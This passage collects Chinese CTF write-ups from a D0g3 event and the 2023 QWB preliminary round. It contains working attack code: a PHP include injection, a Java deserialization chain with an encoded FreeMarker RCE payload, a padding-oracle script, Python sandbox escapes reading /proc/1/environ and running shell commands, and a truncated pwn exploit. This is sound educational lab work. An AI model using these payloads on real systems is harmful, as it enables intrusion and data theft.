if(preg_match('/^(?:.{5})*include/',$d0g3)) 这里要求传参的第6位开始必须是include,提示了使用include函数, ?d0g3="]);}include('利用语句');任意代码执行;/* 第二个条件 strlen($d0g3)==substr($miao, -2) 匿名函数在创建后,函数变量会存储一个值从lambda_1开始,数字不断增大的字符串,且每创建一次,这个字符串数字部分都会增大,除非结束php的进程,刷新网页仍会继续计数 这里需要控制利用语句数目等于匿名函数数字部分后两位,可以通过脚本循环实现 第三个条件 $name===$miao 看上去很简单,和第二个条件一样,比如设定好?name=lambda_10,然后访问5次页面(创建10次匿名函数)即可,但是实际上可以通过下面的语句发现,实际上创建的匿名函数的名字前面会默认带一个\0结束符,在大多数情况下这不会造成任何影响,但是在浏览器地址栏传参时,\0将无法传入 echo var_export($miao); 这个问题也可以通过脚本得到解决 通过dirsearch或者手测,我们可以发现一个admin.php,使用伪协议包含发现里面有大量的假flag(100万行),考虑使用strip_tags过滤掉大量的php标签内的无关信息 由此得出脚本(需要跑一会儿才出得来) import requests import re url=input("请输入地址:") while 1: a=requests.get(url+"?d0g3=%22]);}include(%27php://filter/read=string.strip_tags/resource=admin.php%27);echo 'aaaaaa';/*&name=\0lambda_187") if"aaaaaa" in a.text: break print("尝试中") print(re.sub("aaaaaa",'',re.sub(r"<code>[\s\S]*?</code>",'',a.text))) ez_java 根据pom.xml,环境存在CB、postgresql依赖,不难想到可以通过CB链来调用getter方法来触发postgresql JDBC攻击,对应的getter方法为BaseDataSource#getConnection 由于环境不出网,只能选择postgresql JDBC的logger链去写文件。这个可以选择通过覆盖/app/templates/index.ftl打模板注入 但需要注意的是BaseDataSource反序列化逻辑,首先是geturl方法,会把扩展参数和数据库名部分进行一次urlencode导致模板标签被编码掉,读者自行去阅读相关逻辑,进行分析调试 这里可以重写org.postgresql.ds.common.BaseDataSource,将模板注入payload放到serverNames位置避免被编码,重写部分如下: text为freemaker模版rce的payload 其次就是触发compare,由于PriorityQueue在黑名单中,这里用treeMap#get来触发compare方法,这里用CC7相关部分触发一哈Map#get exp package org.example; import org.apache.commons.beanutils.BeanComparator; import org.postgresql.ds.PGSimpleDataSource; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.net.URLEncoder; import java.util.*; import static org.example.Tools.setFieldValue; public class Main { public static void main(String[] args) throws Exception { //设置扩展参数 PGSimpleDataSource pgSimpleDataSource = new PGSimpleDataSource(); pgSimpleDataSource.setProperty("connectTimeout","100000000000000000"); pgSimpleDataSource.setProperty("loggerFile", "/app/templates/index.ftl"); pgSimpleDataSource.setProperty("loggerLevel", "DEBUG"); BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); setFieldValue(beanComparator, "property", "connection"); HashMap gadgetHashMap = new HashMap(); gadgetHashMap.put(pgSimpleDataSource, null); TreeMap treeMap = makeTreeMap(beanComparator); HashMap hashMap1 = new HashMap(); hashMap1.put("AaAaAa", treeMap); hashMap1.put("BBAaBB", gadgetHashMap); HashMap hashMap2 = new HashMap(); hashMap2.put("AaAaAa", gadgetHashMap); hashMap2.put("BBAaBB", treeMap); Hashtable table = new Hashtable(); setFieldValue(table, "count", 2); Class nodeC = Class.forName("java.util.Hashtable$Entry"); Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, hashMap1, 1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, hashMap2, 2, null)); setFieldValue(table, "table", tbl); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(table); oos.close(); System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(barr.toByteArray())))); // ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray()); // ObjectInputStream ois = new Security(in); // Object ob = ois.readObject(); } public static TreeMap makeTreeMap(Comparator beanComparator) throws Exception { TreeMap treeMap = new TreeMap(beanComparator); setFieldValue(treeMap, "size", 1); setFieldValue(treeMap, "modCount", 1); Class EntryC = Class.forName("java.util.TreeMap$Entry"); Constructor EntryCons = EntryC.getDeclaredConstructor(Object.class, Object.class, EntryC); EntryCons.setAccessible(true); setFieldValue(treeMap, "root", EntryCons.newInstance("nivia", 1, null)); return treeMap; } } 攻击: /read?exp=rO0ABXNyABNqYXZhLnV0aWwuSGFzaHRhYmxlE7sPJSFK5LgDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA%2FQAAAAAAACHcIAAAAAgAAAAJzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAnQABkFhQWFBYXNxAH4AAj9AAAAAAAAMdwgAAAAQAAAAAXNyACRvcmcucG9zdGdyZXNxbC5kcy5QR1NpbXBsZURhdGFTb3VyY2XHvJ7A3bo18QMAAHhwdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQBMmxvY2FsaG9zdC8%2Fbml2aWE9PCNhc3NpZ24gYWM9c3ByaW5nTWFjcm9SZXF1ZXN0Q29udGV4dC53ZWJBcHBsaWNhdGlvbkNvbnRleHQ%2BPCNhc3NpZ24gZmM9YWMuZ2V0QmVhbignZnJlZU1hcmtlckNvbmZpZ3VyYXRpb24nKT48I2Fzc2lnbiBkY3I9ZmMuZ2V0RGVmYXVsdENvbmZpZ3VyYXRpb24oKS5nZXROZXdCdWlsdGluQ2xhc3NSZXNvbHZlcigpPjwjYXNzaWduIFZPSUQ9ZmMuc2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoZGNyKT4keyJmcmVlbWFya2VyLnRlbXBsYXRlLnV0aWxpdHkuRXhlY3V0ZSI%2FbmV3KCkoImNhdCAvZmxhZyIpfXQAAHQBITwjYXNzaWduIGFjPXNwcmluZ01hY3JvUmVxdWVzdENvbnRleHQud2ViQXBwbGljYXRpb25Db250ZXh0PjwjYXNzaWduIGZjPWFjLmdldEJlYW4oJ2ZyZWVNYXJrZXJDb25maWd1cmF0aW9uJyk%2BPCNhc3NpZ24gZGNyPWZjLmdldERlZmF1bHRDb25maWd1cmF0aW9uKCkuZ2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoKT48I2Fzc2lnbiBWT0lEPWZjLnNldE5ld0J1aWx0aW5DbGFzc1Jlc29sdmVyKGRjcik%2BJHsiZnJlZW1hcmtlci50ZW1wbGF0ZS51dGlsaXR5LkV4ZWN1dGUiP25ldygpKCJjYXQgL2ZsYWciKX1wdXIAAltJTbpgJnbqsqUCAAB4cAAAAAEAAAAAc3IAFGphdmEudXRpbC5Qcm9wZXJ0aWVzORLQenA2PpgCAAFMAAhkZWZhdWx0c3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cQB%2BAAA%2FQAAAAAAACHcIAAAACwAAAAN0AAtsb2dnZXJMZXZlbHQABURFQlVHdAAKbG9nZ2VyRmlsZXQAGC9hcHAvdGVtcGxhdGVzL2luZGV4LmZ0bHQADmNvbm5lY3RUaW1lb3V0dAASMTAwMDAwMDAwMDAwMDAwMDAweHB4cHh0AAZCQkFhQkJzcgARamF2YS51dGlsLlRyZWVNYXAMwfY%2BLSVq5gMAAUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHBzcgArb3JnLmFwYWNoZS5jb21tb25zLmJlYW51dGlscy5CZWFuQ29tcGFyYXRvcuOhiOpzIqRIAgACTAAKY29tcGFyYXRvcnEAfgAaTAAIcHJvcGVydHl0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyACpqYXZhLmxhbmcuU3RyaW5nJENhc2VJbnNlbnNpdGl2ZUNvbXBhcmF0b3J3A1x9XFDlzgIAAHhwdAAKY29ubmVjdGlvbncEAAAAAXQABW5pdmlhc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAF4eHNxAH4AIwAAAAJzcQB%2BAAI%2FQAAAAAAADHcIAAAAEAAAAAJxAH4ABHEAfgAbcQB%2BABhxAH4ABXhxAH4AJXg%3D crypto 010101 将前半部分和后半部分分别异或1进行还原,最后得到p from Crypto.Util.number import long_to_bytes N = *** p = *** m = *** p = str(p) e = 65537 flag = False print(len(p)) for j in range(len(p)): p2 = list(p) p2[j] = str(int(p[j]) ^ int('1')) # 将p的第j位与1进行异或 for i in range(j + 1, len(p)): # 从p的第j+1位开始遍历 p3 = list(p2) p3[i] = str(int(p[i]) ^ int('1')) # 将p2的第i位与1进行异或 if N % int(''.join(p3), 2) == 0: modified_p = int(''.join(p3), 2) flag = True break if flag: break q = N // modified_p phi = (modified_p - 1) * (q - 1) d = pow(e, -1, phi) print(long_to_bytes(pow(m, d, N))) # D0g3{sYuWzkFk12A1gcWxG9pymFcjJL7CqN4Cq8PAIACObJ} POA 不断构造IV并发送,接收解密结果,恢复AES CBC解密的中间值,最后与IV进行异或得到 from hashlib import sha256 import itertools import socket import string from Crypto.Util.number import long_to_bytes, bytes_to_long def proof(broke, Hash): assert len(broke) == 16 and len(Hash) == 64 shaTable = string.ascii_letters + string.digits for ii in itertools.permutations(shaTable, 4): x = ''.join(ii) s = x + broke if sha256(s.encode()).hexdigest() == Hash: print(x) return x def con(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('124.71.177.14', 10010)) proof_data = sock.recv(2048) send_proof = (proof(proof_data[14:30].decode(), proof_data[32:96].decode())).encode() sock.recv(2048) sock.send(send_proof) data1 = sock.recv(2048) print(data1.decode()) sock.send('1\n'.encode()) cipher = sock.recv(4096).decode().split(' ')[-1] print(cipher) guess_iv = [0 for _ in range(16)] restore_midd = [0 for _ in range(16)] index = 1 for i in range(15, -1, -1): for j in range(0, 256): sock.send('2'.encode()) txt = sock.recv(4096).decode() guess_iv[i] = j mess = bytes(guess_iv).hex() + cipher[32:] sock.send(('%s\n' % mess).encode()) result = sock.recv(4096).strip().decode() if result == 'True': print('find') restore_midd[i] = index ^ j for k in range(15, i - 1, -1): guess_iv[k] = restore_midd[k] ^ (index + 1) break index += 1 m = bytes_to_long(bytes(restore_midd)) ^ int(cipher[:32], 16) print(long_to_bytes(m)) if __name__ == '__main__': con() Rabin 解方程恢复e1, e2 解RSA+RSA Rabin from Crypto.Util.number import isPrime, long_to_bytes from decimal import Decimal, getcontext from sympy import * import itertools import gmpy2 getcontext().prec = 4096 # To get all digits def quadratic(b, c): b, c = Decimal(b), Decimal(c) disc = b ** 2 - 4 * c return (-b + disc.sqrt()) / 2, (-b - disc.sqrt()) / 2 n = 250814637051807819966792611245960610922650272171774421100096725362876110354331644672361070288421932814011240278013930236506935606208856158245203226575206173399353228955646434946185162337249508916173886601690750176079643923598040239558820163968619858461299932945052867416892052800080380065469520552769729908237916948231811852512702334673059498173828710097943836553665421008502790227505238045663138503444330272778394062239358945912631242535901236920740968520395320695821881700272436374765803456467229511027996411612705127440152548517761802229692762942039810655711762857733655968843311390554894490989464889063115195307376546315206091850157113517967028388112696773322299195386885674487736953704278131208605733928620385647653506188387270203806469091593555942596009391614056683438954798377100513743826890914546813802825956772601161008749865452605755445313141047898707485333785540081269386385654187051443297745903924802393853636159179216465330611652590550085005018159338383332480775331023418636856327968211907 inv_p = 18572680482956333849695203716461713104773047923602099298094682396862191850514405358287530759577107822437397076448196882484810348534389142512538132336772660002619635584317411507556898261467535786390472312057865009529503815275471152631242674775023579999529144217652870406017527500924054906365970316171601724395 inv_q = 136535048380593205200147274200607623672178047616047871024461976135751463050074132537068629202262492753981526789311501011207084603084500046237452580036584406621193450044354252290673799669278685039786072212806149907642025392079172459205884032545048534994511661271942133535933734878627347694553081776269463131011 c1 = 24438369699277358577099809092522666507794264940897211362396512304628436041222873422281052071040304574363510205249804316939250072085516605409716236630122437693098107965690357983662511641360852519159201210407149426013456665654927559031576450707769140579811457087575821158806216834589419118616293649134570029348864168061503995325421166403367212784956918879123538609647020213238539717446246806658900303124564032457968947891973269315221759825010175759282900948586059414233078011374547085622341941301930819816001572766834718060688545069956096308661744521329011217013954462888420216389590625029416601914841651975749769319907679957725817987535287875463052512829357180018005408137318173906769605861407680810593420749995979362702366940275048900413734250464314983304164277188084351968745605375769912296693849464371792448471466297537539956183639108372537896814803224393949374263943947266927232857089835606620154448584587895531774998281005520646293399213187296591877953310626414259916310440526985379452834140797344 c2 = 223295770243896926174824405932791118562132019446137106707499244470470652130983482933886296317979962549790414754161520435096091469226090668617978924038597496895109870016050016361204593776094886916554978524328312654899592058243030170843460725094455369392386666825873918339575610780772636586002747595613558066320125773587684070090772498121214867506696972158540355910065773892648404521506595636503850295827650330993678348250267770526157595871258640949265795928803796357149879172931040916773382169296914793584970211453674931039251561404963603173087988508276297347805041885971003956420812510128302146772371481501739596756529250961807845809297176387467035756066576014695851369095199182667219429449627072080517064563211041402250659878953388165820020061897516163246110562240123389210713625152448308461232879889286613844389367421303837747532095262647017908028398324773681913209915202010758289748837739798240683937739276900417861582443180262419471329076908687714213527415105489215148326758425520069134366726191206 r = 2 while True: r = r * 8 if r.bit_length() > 1024 and isPrime(r - 1): r = r - 1 break print(int(r)) pq = n // r k1k2 = inv_p * inv_q - 1 alpha_times_beta = k1k2 * pq alpha_plus_beta = pq * inv_p * inv_q - 1 - k1k2 * pq e1 = 2 e2 = 5 alpha, beta = quadratic(-alpha_plus_beta, alpha_times_beta) p = gcd(pq, int(alpha)) q = gcd(pq, int(beta)) assert p * q == pq p, q = symbols("p q") eq1 = Eq(inv_p * p + inv_q * q - pq - 1, 0) eq2 = Eq(p * q, pq) sol = solve((eq1, eq2), (p, q)) print(sol) p = int(155067211748080035817706240824444294173177315452053655302198450440797223063993902553854738130782449160496432645166392115875035577949847055717925643946457912682751338169862368227051614666060761234405201526539028698479896781769397552330889288635473271948706547821980919655770653459515096024615873307927376930323) q = int(155406237257371285686734630614272846342794427544939674750800108880031404165544180838277971813657235395399719426255865993550582439955633684106295486647395174391393520922781711164275517262754514023537536287360365851886349215688978809822032291068515106418115813510512126616124030805066436158518403149436994756207) print(isPrime(p), p) print(isPrime(q), q) print(isPrime(r)) phi = (p - 1) * (q - 1) * (r - 1) print(phi) d2 = gmpy2.invert(e2, phi) m2 = pow(c2, d2, n) print(long_to_bytes(m2)) mp = pow(c1, (p + 1) // 4, p) mq = pow(c1, (q + 1) // 4, q) mr = pow(c1, (r + 1) // 4, r) bp = n // p bq = n // q br = n // r ap = pow(bp, -1, p) aq = pow(bq, -1, q) ar = pow(br, -1, r) for sp, sq, sr in itertools.product((-1, 1), repeat=3): m = (sp * ap * bp * mp + sq * aq * bq * mq + sr * ar * br * mr) % n m = long_to_bytes(m) if b"D0g3" in m: print(m) misc dacongのsecret 得到一个压缩包和一个png 用工具或者脚本提取一下水印得到密码 得到一个password的d@C0ng 1s cUt3!!! 根据题目提示推出png不止一个秘密 继续用pngcheck打开dacong1hao.png 发现在尾部的idat头不对 010打开 找到有两个IDATx 直接手动搜索IDATx把第一部分IDATx删掉 保存后得到如下图片 爆破一下宽高得到key wH1T3_r0cckEt_sh00ter 猜测可能是后边用到的 用前边水印的密码打开压缩包得到一张jpg 用010打开末尾有一串hex值 根据特征判断是一个压缩包的hex值倒序 手动提取出来打开发现需要密码 正好用之前的key解开 得到一串base64密文 由于有很多行base 猜测可能是base64隐写 用以下脚本跑出base64隐写的数据 d='''str ''' e=d.splitlines() binstr="" base64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" for i in e : if i.find("==")>0: temp=bin((base64.find(i[-3])&15))[2:] #取倒数第3个字符,在base64找到对应的索引数(就是编码数),取低4位,再转换为二进制字符 binstr=binstr + "0"*(4-len(temp))+temp #二进制字符补高位0后,连接字符到binstr elif i.find("=")>0: temp=bin((base64.find(i[-2])&3))[2:] #取倒数第2个字符,在base64找到对应的索引数(就是编码数),取低2位,再转换为二进制字符 binstr=binstr + "0"*(2-len(temp))+temp #二进制字符补高位0后,连接字符到binstr str="" for i in range(0,len(binstr),8): str=str+chr(int(binstr[i:i+8],2)) #从左到右,每取8位转换为ascii字符,连接字符到字符串 print(str) 得到一个pass m1ku_1s_sha_fufu123 最后用该秘密通过jphs解出得到flag 打开得到flag flag{d@C0ng_1s_r3@lIy_Re@iLY_Cute} dacongのWindows 由于win10可能不怎么兼容vol2,需要制作profile,所以建议使用vol3解题 首先文件检索一下关键词wav,可以发现有很多的wav,暂时先放着 继续搜索一下txt关键词 这里找到两个关键的txt,先dump下来看下 先打开看一下do_you_want_listen do_you_want_liten.txt里提示了miku有一首歌叫做’???music‘ 搜索一下歌名可以知道歌曲叫做39music! 结合文件名以及该txt所在的位置猜测是对之前的wav提示 那么把dacong39.wav下载出来 打开听一下是sstv 那么手机打开robot36得到第一段flag flag{Ar3_Th3Y 然后这里笨B出题人做镜像忘记把winrar打开了 但是也可以通过rar关键词找到一个rar 一样dump下来 解压后是flag2 根据翻译推测可能是snow加密 直接解一下,发现是无密码的snow 得到第二段flag _tHE_Dddd 然后回头看之前的flag3 是一串加密,但是结合题目的描述,有什么重要的表被修改,猜测需要密钥 在注册表里找到 解一下是aes 得到第三段flag dAc0Ng_SIst3Rs???} flag{Ar3_Th3Y_tHE_DddddAc0Ng_SIst3Rs???} 疯狂的麦克斯 麦克斯的称号这个文件存在0宽隐写 解密得到 mks007 打开嗨.zip,存在一个docx文件,可以直接改后缀为zip,也可以Binwalk分离出来,这里就存在一个 MKS IM麦克斯.txt这个文件 打开txt文件得到 翻到最下面有 凭这里看出应该是某种加密 结合前面的mks007,可能是凯撒偏移 尝试将mks007转换为整数,进行凯撒偏移,得到THISISMKSDOYOUKNOWWHOAMI (预期外:通过维吉尼亚解密,密钥为e,通过rot13,为22) 此时对整个文档进行偏移 def caesar_decipher(text, shift): result = "" for char in text: if char.isalpha(): alphabet = ord('a') if char.islower() else ord('A') shifted = (ord(char) - alphabet - shift) % 26 # 逆向偏移 result += chr(alphabet + shifted) else: result += char return result # 读取加密后的文件内容 with open('MKS.txt', 'r') as file: encrypted_content = file.read() # 自定义偏移量 offset = "mks007" # 将偏移量转换为整数 shift = sum(ord(char) for char in offset) - len(offset) * ord('a') # 对内容进行逆向凯撒偏移 decrypted_content = caesar_decipher(encrypted_content, shift) # 将解密后的内容写入新文件 with open('mksnew.txt', 'w') as file: file.write(decrypted_content) 此时作用于文件所有内容,然后根据麦克斯MAX遍历出其中最大值,得到456788P。 虽然好像都是通过直接爆破得来的,不过也能爆破,也算是一种解 FLAG的密码就是456788P base64后的 NDU2Nzg4UA== D0g3{Th1s_REA11Y_MAX_F1A4_GGB0ND} Nahida 题目给一个压缩包 里面有一个txt文件和一个Nahida文件 其中txt仅作为提示(wink眨眼睛,和眼睛有关),并没有藏东西 查看另一个文件 可以看到是FF D8 FF E0倒过来的,所以写脚本进行倒置 Nahida是通过脚本加密的,原文件为一个jpg文件,通过对hex进行分组前后交换得到 故写解密脚本 def swap_positions(hex_string): # 将每两位进行位置交换 swapped = ''.join([hex_string[i+1] + hex_string[i] for i in range(0, len(hex_string), 2)]) return swapped def decrypt_image_hex(encrypted_image_path): # 打开加密的文件 with open(encrypted_image_path, 'rb') as file: encrypted_data = file.read() # 将加密的字节数据转换为16进制字符串 encrypted_hex = encrypted_data.hex() # 组间交换位置 swapped_hex = swap_positions(encrypted_hex[::-1]) # 组内交换位置 grouped_hex = [swap_positions(swapped_hex[i:i+2]) for i in range(0, len(swapped_hex), 2)] # 将16进制字符串转换回字节数据 decrypted_data = bytes.fromhex(''.join(grouped_hex)) # 生成解密后的文件 decrypted_image_path = 'decrypted_image.jpg' with open(decrypted_image_path, 'wb') as decrypted_file: decrypted_file.write(decrypted_data) return decrypted_image_path # 测试解密函数 encrypted_image_path = 'test.jpg' # 替换为加密图片的路径 decrypted_image_path = decrypt_image_hex(encrypted_image_path) print("解密后的文件路径:", decrypted_image_path) 得到jpg,在图片的最后看到一串字符串, 提示 神之眼(再次提示静默之眼),以及眼的密码在最开始就得到,也就是题目名Nahida d0g3{Nahida_is_the_best_in_the_world!} 原文链接地址:https://dce.i-soon.net/#/group/detail/31
-
2023年第七届强网杯初赛 WP
MISC easyfuzz 1、通过尝试输入字符串判断该程序对输入字符的验证规则为9位字符,并且只要满足输入正确字符使最后返回值全部为111111111即可得flag 继续大胆猜测并尝试,发现前两位字符可以为任何字符,都满足110000000,由此可以对后七位字符进行爆破 2、逐位爆破,验证思路正确,最后一位为字符串"d" 3、编写爆破脚本,当字符串长度为9位并输入时,将回显不为“Here is your code coverage: 110000000”的结果打印,脚本如下 from pwn import * from string import printable conn = remote('101.200.122.251', 12199) non_matching_strings = [] for i in range(9): for char in printable: payload = 'a'*i + char + 'a'*(8-i) print(conn.recvuntil(b'Enter a string (should be less than 10 bytes):')) conn.sendline(payload.encode()) response = conn.recvline().decode().strip() if response != "Here is your code coverage: 110000000": non_matching_strings.append(payload) for string in non_matching_strings: print(string) FLAG:qwb{YouKnowHowToFuzz!} 签到 flag{welcome_to_qwb_2023} Pyjail ! It's myFILTER !!! Python沙箱逃逸,闭合之后open直接读environ得到flag {13212}'+(print(open('/proc/1/environ').read()))+' 或者使用payload: {print(open("/proc/1/environ").read())} flag{61e81b4f-566c-49f5-84dd-d79319fddc82} Pyjail ! It's myRevenge !!! Python沙箱逃逸 用write写文件import os;os.system(“nl fl* >hzy”)执行之后再用read读取执行内容得到flag 过滤字符全用八进制绕过,分段写 {13212}'+(open('wsy', "a").write('151155160157162'))+'{13212}'+(open('wsy', "a").write('t 157'))+'{13212}'+(open('wsy', "a").write('163;157'))+'{13212}'+(open('wsy', "a").write('163.'))+'{13212}'+(open('wsy', "a").write('163y'))+'{13212}'+(open('wsy', "a").write('st'))+'{13212}'+(open('wsy', "a").write('em("nl 146*>hzy")'))+'{13212}'+open('143157de.py','w').write(open('wsy').read())+'{13212}'+(print(open('hzy').read()))+' 或者依次执行下面poc: {globals().update(dict(my_filter=lambda x:1))}''{in''put()}'# {globals().update(dict(len=lambda x:0))}''{in''put()}'# {print("".__class__.__mro__[1].__subclasses__()[137].__init__.__globals__["__builtins__"]["__import__"]("os").listdir())} ['flag_26F574F8CEE82D06FEDC45CF5916B86A732DD326CE1CB2C9A96751E072D0A104', 'server_8F6C72124774022B.py'] {globals().update(dict(my_filter=lambda x:1))}''{in' 'put()}'# {globals(). update(dict(len=lambda x:0))}''{in' 'put()}'# {print (open("flag_26F574F8CEE82D06FEDC45CF5916B86A732DD326CE1CB2C9A96751E072D0A104"). read())} flag{8f0a4ac2-52d3-4adb-a1a3-47e05997817d} Wabby Wabbo Radio f12可以拿到wav的链接/static/audios/xh4.wav 重新刷新了一下发现是随机选取播放的 fuzz了一下总共有xh1-xh5和hint1-hint2以及flag.wav 每一个wav的左声道显然是莫斯 分离声道,增幅,在线网站解一下 https://morsecode.world/international/decoder/audio-decoder-adaptive.html 得到: Do you want a flag? Let's listen a little longer.Genshin Impact starts.The weather is really nice today. It's a great day to listen to the Wabby Wabbo radio.If you don't know how to do it, you can go ahead and do something else first.may be flag is png picturedo you know QAM? 其他都没啥用,就一个提示了QAM载波幅度 https://info.support.huawei.com/info-finder/encyclopedia/zh/QAM.html#Qam的星座图 简单了解了一下发现可以通过振幅来区分01,尝试打印了一下振幅,发现刚好都是集中在±1,±3之间 对比16QAM的星座图可以发现振幅拼一起刚好能起到一个信号的对应关系,但是不知道具体的对应关系是啥,直接盲猜一手从小到大, 简单的脚本如下: import scipy.io.wavfile as wav import numpy as np import sys sample_rate, data = wav.read("flag.wav") for i in data: print(i) flag='' def repla(n): if n == -3: return '00' elif n == -1: return '01' elif n == 1: return '10' elif n == 3: return '11' for x, y in data: n1 = round(float(x)) n2 = round(float(y)) flag += repla(n1) flag += repla(n2) print(flag) 谍影重重3.0 给了hint:纸飞机他也是飞机,也能飞出国境抵达大洋彼岸,结合题目描述特殊隧道很容易联想到是vpn 稍微搜一下就可以得到是Shadowsks,参考文章: https://phuker.github.io/posts/Shadowsks-active-probing.html 给出了完整解密脚本,但是不知道key,直接爆破一下,用HTTP当作请求成功的标识 #!/usr/bin/env python3 # encoding: utf-8 import os import sys import logging import hashlib from Crypto.Cipher import AES logging.basicConfig(level=logging.INFO) def EVP_BytesToKey(password, key_len, iv_len): m = [] i = 0 while len(b''.join(m)) < (key_len + iv_len): md5 = hashlib.md5() data = password if i > 0: data = m[i - 1] + password md5.update(data) m.append(md5.digest()) i += 1 ms = b''.join(m) key = ms[:key_len] iv = ms[key_len:key_len + iv_len] return key, iv def decrypt(cipher,password): key_len = int(256/8) iv_len = 16 mode = AES.MODE_CFB key, _ = EVP_BytesToKey(password, key_len, iv_len) cipher = bytes.fromhex(cipher) iv = cipher[:iv_len] real_cipher = cipher[iv_len:] obj = AES.new(key, mode, iv, segment_size=128) plain = obj.decrypt(real_cipher) return plain def main(): # test http request cipher = 'e0a77dfafb6948728ef45033116b34fc855e7ac8570caed829ca9b4c32c2f6f79184e333445c6027e18a6b53253dca03c6c464b8289cb7a16aa1766e6a0325ee842f9a766b81039fe50c5da12dfaa89eacce17b11ba9748899b49b071851040245fa5ea1312180def3d7c0f5af6973433544a8a342e8fcd2b1759086ead124e39a8b3e2f6dc5d56ad7e8548569eae98ec363f87930d4af80e984d0103036a91be4ad76f0cfb00206' with open('rockyou.txt','rb') as f: lines = f.readlines() for password in lines: plain = decrypt(cipher,password.strip()) if b'HTTP' in plain: print(password,plain) if __name__ == "__main__": main() #b'superman\n' b'\x03\x0f192.168.159.131\x00PGET /Why-do-you-want-to-know-what-this-is HTTP/1.1\r\nHost: 192.168.159.131\r\nUser-Agent: curl/8.4.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' 得到文件名为Why-do-you-want-to-know-what-this-is,md5后得到flag flag{dc7e57298e65949102c17596f1934a97} 谍影重重2.0 根据题目描述飞机流量可以很容易联想到ADS-B协议 导出tcp流数据 tshark -r attach.pcapng -Y "tcp" -T fields -e tcp.segment_data > tcp.txt 解析脚本: import pyModeS with open('tcp.txt','r')as f: lines = f.readlines() for data in lines: if len(data)==47: print(pyModeS.decoder.tell(data[18:])) 筛选一下Airborne velocity ,得到79a05e的飞机速度最快为371 knots,md5 ICAO address为flag 或者 将数据包导出为json格式 使用脚本提取字段并进行MD5 import json import pyModeS as pms import hashlib with open('123.json', 'r', encoding='utf-8') as file: data = json.load(file) info = [] for packet in data: if 'layers' in packet['_source'] and 'tcp' in packet['_source']['layers']: tcp_layer = packet['_source']['layers']['tcp'] if 'tcp.payload' in tcp_layer: tcp_payload = tcp_layer['tcp.payload'].replace(':','') info.append(tcp_payload) planes_data = [] for i in info: msg = i[18:] if pms.adsb.typecode(msg) >= 19 and pms.adsb.typecode(msg) <= 22: icao = pms.adsb.icao(msg) velocity_info = pms.adsb.velocity(msg) speed, track, vertical_rate, _ = velocity_info plane_info = {"icao": icao, "speed": speed, "track": track, "vertical_rate": vertical_rate} planes_data.append(plane_info) fastest_plane = max(planes_data, key=lambda x: x['speed']) print(hashlib.md5(fastest_plane['icao'].upper().encode()).hexdigest()) #flag{4cf6729b9bc05686a79c1620b0b1967b} happy chess 应该是非预期,随便输入9个任意位置直接exit掉该轮就算成功了 强网先锋 speedup 纯社工题,要求2的27次方的阶乘的逐位之和,OEIS上直接有这一个值了 https://oeis.org/A244060/list sha256后得到flag flag{bbdee5c548fddfc76617c562952a3a3b03d423985c095521a8661d248fad3797} 找到PNG了吗 strings main.mem | grep "Linux version" 拿到内核版本后照着 https://treasure-house.randark.site/blog/2023-10-25-MemoryForensic-Test/ 做个linux的profile python2 vol.py -f C:Users22826Desktopmain.mem --profile=LinuxUbuntu2004x64 linux_find_file -L | findstr "Desktop" 桌面上能找到个文件have_your_fun.jocker 尝试导出,但为空 python2 vol.py -f C:Users22826Desktopmain.mem --profile=LinuxUbuntu2004x64 linux_find_file -i 0xffff9ce28fe300e8 -Ohave_your_fun.jocker 不知道如何恢复,直接尝试全局搜一下文件名 找到一个加密脚本,简单的两次rc4加密,key都给了 根据题目需要找png,可以猜测have_your_fun.jocker就是加密后的png 直接加密一下png头 可以直接定位到内存中残留的have_your_fun.jocker位置 直接解密得到flag图 flag{It's_So_Hard_To_Find_A_Picture} trie 题目分析 –在构建路由表使用了字典树数据结构,每次遇到新ip会插入分支,并且其节点值赋值为tot –查询时也是查找该字典树,取节点的tot为索引,打印四字节end[tot] 思路分析 –在add时使用完tot之后没有归零,导致在view时读取溢出部分数据(能够读取到secret上的flag),每次读取逆序4字节,将ascii码转成对应字符拼接即可。 –同时为了获取完整flag,每次需要使得search函数里查询得到的tot索引+1,为此需要构造一颗子树,使其空出若干个叶子,(每空出一个叶子即可打印4字节flag) –我构造了一个空出9个叶子的节点,其中包含一个填充的(目的是使得tot至少为0x40) exp #!/usr/bin/env python3 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf libc: ELF = gift.libc context.arch = "amd64" def add(des, next): io.recvuntil(b"4. Quit.") io.sendline(b"1") io.recvuntil(b"Input destination IP:") io.sendline(des) io.recvuntil(b"Input the next hop:") io.sendline(next) def show(des): io.recvuntil(b"4. Quit.") io.sendline(b"2") io.recvuntil(b"Input destination IP:") io.sendline(des) def get_flag(): io.recvuntil(b"4. Quit.") io.sendline(b"3") def leak(data): add(str(data).encode() + b".0.0.0", b"0.0.0.0") get_flag() show(str(data).encode() + b".0.0.0") 